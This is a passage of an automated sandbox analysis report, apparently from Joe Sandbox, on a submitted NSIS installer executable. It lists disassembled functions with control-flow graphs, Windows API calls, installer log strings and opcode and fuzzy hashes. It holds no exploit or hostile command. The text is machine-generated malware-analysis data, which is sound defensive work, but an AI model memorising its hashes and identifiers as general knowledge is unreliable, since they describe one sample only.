                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
                                                                                                                                                                • String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
                                                                                                                                                                • API String ID: 2435955865-239407132
                                                                                                                                                                • Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
                                                                                                                                                                • Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
                                                                                                                                                                • Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
                                                                                                                                                                • Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E
                                                                                                                                                                Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 820 4074bb-4074c0 821 4074c2-4074ef 820->821 822 40752f-407547 820->822 824 4074f1-4074f4 821->824 825 4074f6-4074fa 821->825 823 407aeb-407aff 822->823 829 407b01-407b17 823->829 830 407b19-407b2c 823->830 826 407506-407509 824->826 827 407502 825->827 828 4074fc-407500 825->828 831 407527-40752a 826->831 832 40750b-407514 826->832 827->826 828->826 833 407b33-407b3a 829->833 830->833 836 4076f6-407713 831->836 837 407516 832->837 838 407519-407525 832->838 834 407b61-407c68 833->834 835 407b3c-407b40 833->835 851 407350 834->851 852 407cec 834->852 840 407b46-407b5e 835->840 841 407ccd-407cd4 835->841 843 407715-407729 836->843 844 40772b-40773e 836->844 837->838 839 407589-4075b6 838->839 847 4075d2-4075ec 839->847 848 4075b8-4075d0 839->848 840->834 845 407cdd-407cea 841->845 849 407741-40774b 843->849 844->849 850 407cef-407cf6 845->850 853 4075f0-4075fa 847->853 848->853 854 40774d 849->854 855 4076ee-4076f4 849->855 856 407357-40735b 851->856 857 40749b-4074b6 851->857 858 40746d-407471 851->858 859 4073ff-407403 851->859 852->850 862 407600 853->862 863 407571-407577 853->863 864 407845-4078a1 854->864 865 4076c9-4076cd 854->865 855->836 861 407692-40769c 855->861 856->845 866 407361-40736e 856->866 857->823 871 407c76-407c7d 858->871 872 407477-40748b 858->872 877 407409-407420 859->877 878 407c6d-407c74 859->878 867 4076a2-4076c4 861->867 868 407c9a-407ca1 861->868 880 407556-40756e 862->880 881 407c7f-407c86 862->881 869 40762a-407630 863->869 870 40757d-407583 863->870 864->823 873 407c91-407c98 865->873 874 4076d3-4076eb 865->874 866->852 882 407374-4073ba 866->882 867->864 868->845 883 40768e 869->883 884 407632-40764f 869->884 870->839 870->883 871->845 879 40748e-407496 872->879 873->845 874->855 885 407423-407427 877->885 878->845 879->858 889 407498 879->889 880->863 881->845 887 4073e2-4073e4 882->887 888 4073bc-4073c0 882->888 883->861 890 407651-407665 884->890 891 407667-40767a 884->891 885->859 886 407429-40742f 885->886 893 407431-407438 886->893 894 407459-40746b 886->894 897 4073f5-4073fd 887->897 898 4073e6-4073f3 887->898 895 4073c2-4073c5 GlobalFree 888->895 896 4073cb-4073d9 GlobalAlloc 888->896 889->857 892 40767d-407687 890->892 891->892 892->869 899 407689 892->899 900 407443-407453 GlobalAlloc 893->900 901 40743a-40743d GlobalFree 893->901 894->879 895->896 896->852 902 4073df 896->902 897->885 898->897 898->898 904 407c88-407c8f 899->904 905 40760f-407627 899->905 900->852 900->894 901->900 902->887 904->845 905->869
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID:
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID:
                                                                                                                                                                • Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
                                                                                                                                                                • Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
                                                                                                                                                                • Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
                                                                                                                                                                • Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86
                                                                                                                                                                Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                                                                                                                • LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressHandleLibraryLoadModuleProc
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 310444273-0
                                                                                                                                                                • Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
                                                                                                                                                                • Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
                                                                                                                                                                • Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
                                                                                                                                                                • Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC
                                                                                                                                                                Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 004062EC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Find$CloseFileFirst
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2295610775-0
                                                                                                                                                                • Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
                                                                                                                                                                • Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
                                                                                                                                                                • Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
                                                                                                                                                                • Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8
                                                                                                                                                                Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 56 405479-40548b 57 405491-405497 56->57 58 4055cd-4055dc 56->58 57->58 59 40549d-4054a6 57->59 60 40562b-405640 58->60 61 4055de-405626 GetDlgItem * 2 call 403d3f SetClassLongW call 40141d 58->61 62 4054a8-4054b5 SetWindowPos 59->62 63 4054bb-4054be 59->63 65 405680-405685 call 403daf 60->65 66 405642-405645 60->66 61->60 62->63 68 4054c0-4054d2 ShowWindow 63->68 69 4054d8-4054de 63->69 74 40568a-4056a5 65->74 71 405647-405652 call 40139d 66->71 72 405678-40567a 66->72 68->69 75 4054e0-4054f5 DestroyWindow 69->75 76 4054fa-4054fd 69->76 71->72 93 405654-405673 SendMessageW 71->93 72->65 73 405920 72->73 81 405922-405929 73->81 79 4056a7-4056a9 call 40141d 74->79 80 4056ae-4056b4 74->80 82 4058fd-405903 75->82 84 405510-405516 76->84 85 4054ff-40550b SetWindowLongW 76->85 79->80 89 4056ba-4056c5 80->89 90 4058de-4058f7 DestroyWindow KiUserCallbackDispatcher 80->90 82->73 87 405905-40590b 82->87 91 4055b9-4055c8 call 403dca 84->91 92 40551c-40552d GetDlgItem 84->92 85->81 87->73 95 40590d-405916 ShowWindow 87->95 89->90 96 4056cb-405718 call 406805 call 403d3f * 3 GetDlgItem 89->96 90->82 91->81 97 40554c-40554f 92->97 98 40552f-405546 SendMessageW IsWindowEnabled 92->98 93->81 95->73 126 405723-40575f ShowWindow KiUserCallbackDispatcher call 403d85 EnableWindow 96->126 127 40571a-405720 96->127 101 405551-405552 97->101 102 405554-405557 97->102 98->73 98->97 103 405582-405587 call 403d18 101->103 104 405565-40556a 102->104 105 405559-40555f 102->105 103->91 107 4055a0-4055b3 SendMessageW 104->107 109 40556c-405572 104->109 105->107 108 405561-405563 105->108 107->91 108->103 112 405574-40557a call 40141d 109->112 113 405589-405592 call 40141d 109->113 122 405580 112->122 113->91 123 405594-40559e 113->123 122->103 123->122 130 405761-405762 126->130 131 405764 126->131 127->126 132 405766-405794 GetSystemMenu EnableMenuItem SendMessageW 130->132 131->132 133 405796-4057a7 SendMessageW 132->133 134 4057a9 132->134 135 4057af-4057ed call 403d98 call 406009 lstrlenW call 406805 SetWindowTextW call 40139d 133->135 134->135 135->74 144 4057f3-4057f5 135->144 144->74 145 4057fb-4057ff 144->145 146 405801-405807 145->146 147 40581e-405832 DestroyWindow 145->147 146->73 148 40580d-405813 146->148 147->82 149 405838-405865 CreateDialogParamW 147->149 148->74 150 405819 148->150 149->82 151 40586b-4058c2 call 403d3f GetDlgItem GetWindowRect ScreenToClient SetWindowPos call 40139d 149->151 150->73 151->73 156 4058c4-4058d7 ShowWindow call 403daf 151->156 158 4058dc 156->158 158->82
                                                                                                                                                                APIs
                                                                                                                                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
                                                                                                                                                                • ShowWindow.USER32(?), ref: 004054D2
                                                                                                                                                                • DestroyWindow.USER32 ref: 004054E6
                                                                                                                                                                • SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
                                                                                                                                                                • GetDlgItem.USER32(?,?), ref: 00405523
                                                                                                                                                                • SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
                                                                                                                                                                • IsWindowEnabled.USER32(00000000), ref: 0040553E
                                                                                                                                                                • GetDlgItem.USER32(?,00000001), ref: 004055ED
                                                                                                                                                                • GetDlgItem.USER32(?,00000002), ref: 004055F7
                                                                                                                                                                • SetClassLongW.USER32(?,000000F2,?), ref: 00405611
                                                                                                                                                                • SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
                                                                                                                                                                • GetDlgItem.USER32(?,00000003), ref: 00405708
                                                                                                                                                                • ShowWindow.USER32(00000000,?), ref: 0040572A
                                                                                                                                                                • KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
                                                                                                                                                                • EnableWindow.USER32(?,?), ref: 00405757
                                                                                                                                                                • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
                                                                                                                                                                • EnableMenuItem.USER32(00000000), ref: 00405774
                                                                                                                                                                • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
                                                                                                                                                                • SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
                                                                                                                                                                • lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
                                                                                                                                                                • SetWindowTextW.USER32(?,00447240), ref: 004057DC
                                                                                                                                                                • ShowWindow.USER32(?,0000000A), ref: 00405910
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
                                                                                                                                                                • String ID: @rD
                                                                                                                                                                • API String ID: 3282139019-3814967855
                                                                                                                                                                • Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
                                                                                                                                                                • Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
                                                                                                                                                                • Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
                                                                                                                                                                • Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E
                                                                                                                                                                Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351sleepfilewindowCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 159 4015a0-4015f4 160 4030e3-4030ec 159->160 161 4015fa 159->161 185 4030ee-4030f2 160->185 163 401601-401611 call 4062a3 161->163 164 401742-40174f 161->164 165 401962-40197d call 40145c GetFullPathNameW 161->165 166 4019ca-4019e6 call 40145c SearchPathW 161->166 167 40176e-401794 call 40145c call 4062a3 SetFileAttributesW 161->167 168 401650-40166d call 40137e call 4062a3 call 40139d 161->168 169 4017b1-4017d8 call 40145c call 4062a3 call 405d59 161->169 170 401672-401686 call 40145c call 4062a3 161->170 171 401693-4016ac call 401446 call 4062a3 161->171 172 401715-401731 161->172 173 401616-40162d call 40145c call 4062a3 call 404f72 161->173 174 4016d6-4016db 161->174 175 401736-4030de 161->175 176 401897-4018a7 call 40145c call 4062d5 161->176 177 4018db-401910 call 40145c * 3 call 4062a3 MoveFileW 161->177 178 40163c-401645 161->178 179 4016bd-4016d1 call 4062a3 SetForegroundWindow 161->179 163->185 189 401751-401755 ShowWindow 164->189 190 401758-40175f 164->190 224 4019a3-4019a8 165->224 225 40197f-401984 165->225 166->160 217 4019ec-4019f8 166->217 167->160 242 40179a-4017a6 call 4062a3 167->242 168->185 264 401864-40186c 169->264 265 4017de-4017fc call 405d06 CreateDirectoryW 169->265 243 401689-40168e call 404f72 170->243 248 4016b1-4016b8 Sleep 171->248 249 4016ae-4016b0 171->249 172->185 186 401632-401637 173->186 183 401702-401710 174->183 184 4016dd-4016fd call 401446 174->184 175->160 219 4030de call 405f51 175->219 244 4018c2-4018d6 call 4062a3 176->244 245 4018a9-4018bd call 4062a3 176->245 272 401912-401919 177->272 273 40191e-401921 177->273 178->186 187 401647-40164e PostQuitMessage 178->187 179->160 183->160 184->160 186->185 187->186 189->190 190->160 208 401765-401769 ShowWindow 190->208 208->160 217->160 219->160 228 4019af-4019b2 224->228 225->228 235 401986-401989 225->235 228->160 238 4019b8-4019c5 GetShortPathNameW 228->238 235->228 246 40198b-401993 call 4062d5 235->246 238->160 259 4017ab-4017ac 242->259 243->160 244->185 245->185 246->224 269 401995-4019a1 call 406009 246->269 248->160 249->248 259->160 267 401890-401892 264->267 268 40186e-40188b call 404f72 call 406009 SetCurrentDirectoryW 264->268 277 401846-40184e call 4062a3 265->277 278 4017fe-401809 GetLastError 265->278 267->243 268->160 269->228 272->243 279 401923-40192b call 4062d5 273->279 280 40194a-401950 273->280 292 401853-401854 277->292 283 401827-401832 GetFileAttributesW 278->283 284 40180b-401825 GetLastError call 4062a3 278->284 279->280 298 40192d-401948 call 406c68 call 404f72 279->298 288 401957-40195d call 4062a3 280->288 290 401834-401844 call 4062a3 283->290 291 401855-40185e 283->291 284->291 288->259 290->292 291->264 291->265 292->291 298->288
                                                                                                                                                                APIs
                                                                                                                                                                • PostQuitMessage.USER32(00000000), ref: 00401648
                                                                                                                                                                • Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
                                                                                                                                                                • SetForegroundWindow.USER32(?), ref: 004016CB
                                                                                                                                                                • ShowWindow.USER32(?), ref: 00401753
                                                                                                                                                                • ShowWindow.USER32(?), ref: 00401767
                                                                                                                                                                • SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
                                                                                                                                                                • CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
                                                                                                                                                                • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
                                                                                                                                                                • GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
                                                                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
                                                                                                                                                                • SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
                                                                                                                                                                • MoveFileW.KERNEL32(00000000,?), ref: 00401908
                                                                                                                                                                • GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
                                                                                                                                                                • GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
                                                                                                                                                                • SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE
                                                                                                                                                                Strings
                                                                                                                                                                • CreateDirectory: "%s" created, xrefs: 00401849
                                                                                                                                                                • CreateDirectory: "%s" (%d), xrefs: 004017BF
                                                                                                                                                                • detailprint: %s, xrefs: 00401679
                                                                                                                                                                • Jump: %d, xrefs: 00401602
                                                                                                                                                                • Rename failed: %s, xrefs: 0040194B
                                                                                                                                                                • Rename on reboot: %s, xrefs: 00401943
                                                                                                                                                                • CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
                                                                                                                                                                • SetFileAttributes: "%s":%08X, xrefs: 0040177B
                                                                                                                                                                • CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
                                                                                                                                                                • Sleep(%d), xrefs: 0040169D
                                                                                                                                                                • Call: %d, xrefs: 0040165A
                                                                                                                                                                • IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
                                                                                                                                                                • IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
                                                                                                                                                                • Rename: %s, xrefs: 004018F8
                                                                                                                                                                • Aborting: "%s", xrefs: 0040161D
                                                                                                                                                                • BringToFront, xrefs: 004016BD
                                                                                                                                                                • SetFileAttributes failed., xrefs: 004017A1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
                                                                                                                                                                • String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
                                                                                                                                                                • API String ID: 2872004960-3619442763
                                                                                                                                                                • Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
                                                                                                                                                                • Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
                                                                                                                                                                • Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
                                                                                                                                                                • Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE
                                                                                                                                                                Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233stringregistrylibraryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 426 40592c-405944 call 4062fc 429 405946-405956 call 405f51 426->429 430 405958-405990 call 405ed3 426->430 438 4059b3-4059dc call 403e95 call 40677e 429->438 435 405992-4059a3 call 405ed3 430->435 436 4059a8-4059ae lstrcatW 430->436 435->436 436->438 444 405a70-405a78 call 40677e 438->444 445 4059e2-4059e7 438->445 451 405a86-405a8d 444->451 452 405a7a-405a81 call 406805 444->452 445->444 446 4059ed-405a15 call 405ed3 445->446 446->444 453 405a17-405a1b 446->453 455 405aa6-405acb LoadImageW 451->455 456 405a8f-405a95 451->456 452->451 460 405a1d-405a2c call 405d06 453->460 461 405a2f-405a3b lstrlenW 453->461 458 405ad1-405b13 RegisterClassW 455->458 459 405b66-405b6e call 40141d 455->459 456->455 457 405a97-405a9c call 403e74 456->457 457->455 465 405c35 458->465 466 405b19-405b61 SystemParametersInfoW CreateWindowExW 458->466 478 405b70-405b73 459->478 479 405b78-405b83 call 403e95 459->479 460->461 462 405a63-405a6b call 406722 call 406009 461->462 463 405a3d-405a4b lstrcmpiW 461->463 462->444 463->462 470 405a4d-405a57 GetFileAttributesW 463->470 469 405c37-405c3e 465->469 466->459 475 405a59-405a5b 470->475 476 405a5d-405a5e call 406751 470->476 475->462 475->476 476->462 478->469 484 405b89-405ba6 ShowWindow LoadLibraryW 479->484 485 405c0c-405c0d call 405047 479->485 487 405ba8-405bad LoadLibraryW 484->487 488 405baf-405bc1 GetClassInfoW 484->488 491 405c12-405c14 485->491 487->488 489 405bc3-405bd3 GetClassInfoW RegisterClassW 488->489 490 405bd9-405bfc DialogBoxParamW call 40141d 488->490 489->490 495 405c01-405c0a call 403c68 490->495 493 405c16-405c1c 491->493 494 405c2e-405c30 call 40141d 491->494 493->478 496 405c22-405c29 call 40141d 493->496 494->465 495->469 496->478
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
                                                                                                                                                                  • Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
                                                                                                                                                                  • Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327
                                                                                                                                                                • lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
                                                                                                                                                                • lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
                                                                                                                                                                • lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
                                                                                                                                                                • GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E
                                                                                                                                                                  • Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E
                                                                                                                                                                • LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
                                                                                                                                                                • RegisterClassW.USER32(0046AD60), ref: 00405B0A
                                                                                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
                                                                                                                                                                • CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B
                                                                                                                                                                  • Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30
